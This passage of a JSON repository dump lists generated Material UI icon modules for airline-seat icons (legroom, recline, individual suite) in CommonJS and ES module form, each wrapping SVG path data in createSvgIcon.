    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"11\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9h-6v6h8v-4c0-1.1-.9-2-2-2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 14c1.66 0 3-1.34 3-3S8.66 8 7 8s-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m12-3h-8v8H3V7H1v10h22v-6c0-2.21-1.79-4-4-4m2 8h-8V9h6c1.1 0 2 .9 2 2z\"\n}, \"2\")], 'AirlineSeatIndividualSuiteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomExtra.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 12V3H2v9c0 2.76 2.24 5 5 5h6v-2H7c-1.66 0-3-1.34-3-3m18.83 5.24c-.38-.72-1.29-.97-2.03-.63l-1.09.5-3.41-6.98c-.34-.68-1.03-1.12-1.79-1.12L11 9V3H5v8c0 1.66 1.34 3 3 3h7l3.41 7 3.72-1.7c.77-.36 1.1-1.3.7-2.06\"\n}), 'AirlineSeatLegroomExtra');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomExtra.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 12V3H2v9c0 2.76 2.24 5 5 5h6v-2H7c-1.66 0-3-1.34-3-3m18.83 5.24c-.38-.72-1.29-.97-2.03-.63l-1.09.5-3.41-6.98c-.34-.68-1.03-1.12-1.79-1.12L11 9V3H5v8c0 1.66 1.34 3 3 3h7l3.41 7 3.72-1.7c.77-.36 1.1-1.3.7-2.06\"\n}), 'AirlineSeatLegroomExtra');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomExtraOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 12V3H2v9c0 2.76 2.24 5 5 5h6v-2H7c-1.66 0-3-1.34-3-3m18.83 5.24c-.38-.72-1.29-.97-2.03-.63l-1.09.5-3.41-6.98C15.96 9.45 15.27 9 14.51 9H11V3H5v8c0 1.66 1.34 3 3 3h7l3.41 7 3.72-1.7c.77-.36 1.1-1.3.7-2.06\"\n}), 'AirlineSeatLegroomExtraOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomExtraOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 12V3H2v9c0 2.76 2.24 5 5 5h6v-2H7c-1.66 0-3-1.34-3-3m18.83 5.24c-.38-.72-1.29-.97-2.03-.63l-1.09.5-3.41-6.98C15.96 9.45 15.27 9 14.51 9H11V3H5v8c0 1.66 1.34 3 3 3h7l3.41 7 3.72-1.7c.77-.36 1.1-1.3.7-2.06\"\n}), 'AirlineSeatLegroomExtraOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomExtraRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 12V4c0-.55-.45-1-1-1s-1 .45-1 1v8c0 2.76 2.24 5 5 5h5c.55 0 1-.45 1-1s-.45-1-1-1H7c-1.66 0-3-1.34-3-3m18.83 5.24c-.38-.72-1.29-.97-2.03-.63l-1.09.5-3.41-6.98C15.96 9.45 15.27 9 14.51 9H11V3H5v8c0 1.66 1.34 3 3 3h7l2.56 5.25c.48.98 1.64 1.39 2.63.94l1.95-.89c.76-.36 1.09-1.3.69-2.06\"\n}), 'AirlineSeatLegroomExtraRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomExtraRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 12V4c0-.55-.45-1-1-1s-1 .45-1 1v8c0 2.76 2.24 5 5 5h5c.55 0 1-.45 1-1s-.45-1-1-1H7c-1.66 0-3-1.34-3-3m18.83 5.24c-.38-.72-1.29-.97-2.03-.63l-1.09.5-3.41-6.98C15.96 9.45 15.27 9 14.51 9H11V3H5v8c0 1.66 1.34 3 3 3h7l2.56 5.25c.48.98 1.64 1.39 2.63.94l1.95-.89c.76-.36 1.09-1.3.69-2.06\"\n}), 'AirlineSeatLegroomExtraRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomExtraSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 3H2v14h11v-2H4zm18.24 12.96-2.53 1.15-3.41-6.98C15.96 9.45 15.27 9 14.51 9H11V3H5v11h10l3.41 7 5.07-2.32z\"\n}), 'AirlineSeatLegroomExtraSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomExtraSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 3H2v14h11v-2H4zm18.24 12.96-2.53 1.15-3.41-6.98C15.96 9.45 15.27 9 14.51 9H11V3H5v11h10l3.41 7 5.07-2.32z\"\n}), 'AirlineSeatLegroomExtraSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomExtraTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 12V3H2v9c0 2.76 2.24 5 5 5h6v-2H7c-1.66 0-3-1.34-3-3m18.83 5.24c-.38-.72-1.29-.97-2.03-.63l-1.09.5-3.41-6.98C15.96 9.45 15.27 9 14.51 9H11V3H5v8c0 1.66 1.34 3 3 3h7l3.41 7 3.72-1.7c.77-.36 1.1-1.3.7-2.06\"\n}), 'AirlineSeatLegroomExtraTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomExtraTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 12V3H2v9c0 2.76 2.24 5 5 5h6v-2H7c-1.66 0-3-1.34-3-3m18.83 5.24c-.38-.72-1.29-.97-2.03-.63l-1.09.5-3.41-6.98C15.96 9.45 15.27 9 14.51 9H11V3H5v8c0 1.66 1.34 3 3 3h7l3.41 7 3.72-1.7c.77-.36 1.1-1.3.7-2.06\"\n}), 'AirlineSeatLegroomExtraTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomNormal.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 12V3H3v9c0 2.76 2.24 5 5 5h6v-2H8c-1.66 0-3-1.34-3-3m15.5 6H19v-7c0-1.1-.9-2-2-2h-5V3H6v8c0 1.65 1.35 3 3 3h7v7h4.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5\"\n}), 'AirlineSeatLegroomNormal');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomNormal.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 12V3H3v9c0 2.76 2.24 5 5 5h6v-2H8c-1.66 0-3-1.34-3-3m15.5 6H19v-7c0-1.1-.9-2-2-2h-5V3H6v8c0 1.65 1.35 3 3 3h7v7h4.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5\"\n}), 'AirlineSeatLegroomNormal');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomNormalOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 12V3H3v9c0 2.76 2.24 5 5 5h6v-2H8c-1.66 0-3-1.34-3-3m15.5 6H19v-7c0-1.1-.9-2-2-2h-5V3H6v8c0 1.65 1.35 3 3 3h7v7h4.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5\"\n}), 'AirlineSeatLegroomNormalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomNormalOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 12V3H3v9c0 2.76 2.24 5 5 5h6v-2H8c-1.66 0-3-1.34-3-3m15.5 6H19v-7c0-1.1-.9-2-2-2h-5V3H6v8c0 1.65 1.35 3 3 3h7v7h4.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5\"\n}), 'AirlineSeatLegroomNormalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomNormalRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 12V4c0-.55-.45-1-1-1s-1 .45-1 1v8c0 2.76 2.24 5 5 5h5c.55 0 1-.45 1-1s-.45-1-1-1H8c-1.66 0-3-1.34-3-3m15.5 6H19v-7c0-1.1-.9-2-2-2h-5V3H6v8c0 1.65 1.35 3 3 3h7v5c0 1.1.9 2 2 2h2.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5\"\n}), 'AirlineSeatLegroomNormalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomNormalRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 12V4c0-.55-.45-1-1-1s-1 .45-1 1v8c0 2.76 2.24 5 5 5h5c.55 0 1-.45 1-1s-.45-1-1-1H8c-1.66 0-3-1.34-3-3m15.5 6H19v-7c0-1.1-.9-2-2-2h-5V3H6v8c0 1.65 1.35 3 3 3h7v5c0 1.1.9 2 2 2h2.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5\"\n}), 'AirlineSeatLegroomNormalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomNormalSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15V3H3v14h11v-2zm17 3h-3v-7c0-1.1-.9-2-2-2h-5V3H6v11h10v7h6z\"\n}), 'AirlineSeatLegroomNormalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomNormalSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15V3H3v14h11v-2zm17 3h-3v-7c0-1.1-.9-2-2-2h-5V3H6v11h10v7h6z\"\n}), 'AirlineSeatLegroomNormalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomNormalTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 12V3H3v9c0 2.76 2.24 5 5 5h6v-2H8c-1.66 0-3-1.34-3-3m15.5 6H19v-7c0-1.1-.9-2-2-2h-5V3H6v8c0 1.65 1.35 3 3 3h7v7h4.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5\"\n}), 'AirlineSeatLegroomNormalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomNormalTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 12V3H3v9c0 2.76 2.24 5 5 5h6v-2H8c-1.66 0-3-1.34-3-3m15.5 6H19v-7c0-1.1-.9-2-2-2h-5V3H6v8c0 1.65 1.35 3 3 3h7v7h4.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5\"\n}), 'AirlineSeatLegroomNormalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomReduced.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.97 19.2c.18.96-.55 1.8-1.47 1.8H14v-3l1-4H9c-1.65 0-3-1.35-3-3V3h6v6h5c1.1 0 2 .9 2 2l-2 7h1.44c.73 0 1.39.49 1.53 1.2M5 12V3H3v9c0 2.76 2.24 5 5 5h4v-2H8c-1.66 0-3-1.34-3-3\"\n}), 'AirlineSeatLegroomReduced');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomReduced.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.97 19.2c.18.96-.55 1.8-1.47 1.8H14v-3l1-4H9c-1.65 0-3-1.35-3-3V3h6v6h5c1.1 0 2 .9 2 2l-2 7h1.44c.73 0 1.39.49 1.53 1.2M5 12V3H3v9c0 2.76 2.24 5 5 5h4v-2H8c-1.66 0-3-1.34-3-3\"\n}), 'AirlineSeatLegroomReduced');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomReducedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.97 19.2c.18.96-.55 1.8-1.47 1.8H14v-3l1-4H9c-1.65 0-3-1.35-3-3V3h6v6h5c1.1 0 2 .9 2 2l-2 7h1.44c.73 0 1.39.49 1.53 1.2M5 12V3H3v9c0 2.76 2.24 5 5 5h4v-2H8c-1.66 0-3-1.34-3-3\"\n}), 'AirlineSeatLegroomReducedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomReducedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.97 19.2c.18.96-.55 1.8-1.47 1.8H14v-3l1-4H9c-1.65 0-3-1.35-3-3V3h6v6h5c1.1 0 2 .9 2 2l-2 7h1.44c.73 0 1.39.49 1.53 1.2M5 12V3H3v9c0 2.76 2.24 5 5 5h4v-2H8c-1.66 0-3-1.34-3-3\"\n}), 'AirlineSeatLegroomReducedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomReducedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.97 19.2c.18.96-.55 1.8-1.47 1.8h-2.69c-1.3 0-2.26-1.22-1.94-2.49L15 14H9c-1.65 0-3-1.35-3-3V3h6v6h5c1.1 0 2 .9 2 2l-2 7h1.44c.73 0 1.39.49 1.53 1.2M5 12V4c0-.55-.45-1-1-1s-1 .45-1 1v8c0 2.76 2.24 5 5 5h3c.55 0 1-.45 1-1s-.45-1-1-1H8c-1.66 0-3-1.34-3-3\"\n}), 'AirlineSeatLegroomReducedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomReducedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.97 19.2c.18.96-.55 1.8-1.47 1.8h-2.69c-1.3 0-2.26-1.22-1.94-2.49L15 14H9c-1.65 0-3-1.35-3-3V3h6v6h5c1.1 0 2 .9 2 2l-2 7h1.44c.73 0 1.39.49 1.53 1.2M5 12V4c0-.55-.45-1-1-1s-1 .45-1 1v8c0 2.76 2.24 5 5 5h3c.55 0 1-.45 1-1s-.45-1-1-1H8c-1.66 0-3-1.34-3-3\"\n}), 'AirlineSeatLegroomReducedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomReducedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.97 21H14v-3l1-4H6V3h6v6h5c1.1 0 2 .9 2 2l-2 7h2.97zM5 15V3H3v14h9v-2z\"\n}), 'AirlineSeatLegroomReducedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomReducedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.97 21H14v-3l1-4H6V3h6v6h5c1.1 0 2 .9 2 2l-2 7h2.97zM5 15V3H3v14h9v-2z\"\n}), 'AirlineSeatLegroomReducedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomReducedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.97 19.2c.18.96-.55 1.8-1.47 1.8H14v-3l1-4H9c-1.65 0-3-1.35-3-3V3h6v6h5c1.1 0 2 .9 2 2l-2 7h1.44c.73 0 1.39.49 1.53 1.2M5 12V3H3v9c0 2.76 2.24 5 5 5h4v-2H8c-1.66 0-3-1.34-3-3\"\n}), 'AirlineSeatLegroomReducedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatLegroomReducedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.97 19.2c.18.96-.55 1.8-1.47 1.8H14v-3l1-4H9c-1.65 0-3-1.35-3-3V3h6v6h5c1.1 0 2 .9 2 2l-2 7h1.44c.73 0 1.39.49 1.53 1.2M5 12V3H3v9c0 2.76 2.24 5 5 5h4v-2H8c-1.66 0-3-1.34-3-3\"\n}), 'AirlineSeatLegroomReducedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatReclineExtra.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.35 5.64c-.9-.64-1.12-1.88-.49-2.79.63-.9 1.88-1.12 2.79-.49.9.64 1.12 1.88.49 2.79-.64.9-1.88 1.12-2.79.49M16 19H8.93c-1.48 0-2.74-1.08-2.96-2.54L4 7H2l1.99 9.76C4.37 19.2 6.47 21 8.94 21H16zm.23-4h-4.88l-1.03-4.1c1.58.89 3.28 1.54 5.15 1.22V9.99c-1.63.31-3.44-.27-4.69-1.25L9.14 7.47c-.23-.18-.49-.3-.76-.38-.32-.09-.66-.12-.99-.06h-.02c-1.23.22-2.05 1.39-1.84 2.61l1.35 5.92C7.16 16.98 8.39 18 9.83 18h6.85l3.82 3 1.5-1.5z\"\n}), 'AirlineSeatReclineExtra');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatReclineExtra.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.35 5.64c-.9-.64-1.12-1.88-.49-2.79.63-.9 1.88-1.12 2.79-.49.9.64 1.12 1.88.49 2.79-.64.9-1.88 1.12-2.79.49M16 19H8.93c-1.48 0-2.74-1.08-2.96-2.54L4 7H2l1.99 9.76C4.37 19.2 6.47 21 8.94 21H16zm.23-4h-4.88l-1.03-4.1c1.58.89 3.28 1.54 5.15 1.22V9.99c-1.63.31-3.44-.27-4.69-1.25L9.14 7.47c-.23-.18-.49-.3-.76-.38-.32-.09-.66-.12-.99-.06h-.02c-1.23.22-2.05 1.39-1.84 2.61l1.35 5.92C7.16 16.98 8.39 18 9.83 18h6.85l3.82 3 1.5-1.5z\"\n}), 'AirlineSeatReclineExtra');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatReclineExtraOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.35 5.64c-.9-.64-1.12-1.88-.49-2.79.63-.9 1.88-1.12 2.79-.49.9.64 1.12 1.88.49 2.79-.64.9-1.88 1.12-2.79.49M16 19H8.93c-1.48 0-2.74-1.08-2.96-2.54L4 7H2l1.99 9.76C4.37 19.2 6.47 21 8.94 21H16zm.23-4h-4.88l-1.03-4.1c1.58.89 3.28 1.54 5.15 1.22V9.99c-1.63.31-3.44-.27-4.69-1.25L9.14 7.47c-.23-.18-.49-.3-.76-.38-.32-.09-.66-.12-.99-.06h-.02c-1.23.22-2.05 1.39-1.84 2.61l1.35 5.92C7.16 16.98 8.39 18 9.83 18h6.85l3.82 3 1.5-1.5z\"\n}), 'AirlineSeatReclineExtraOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatReclineExtraOutlined.mjs",
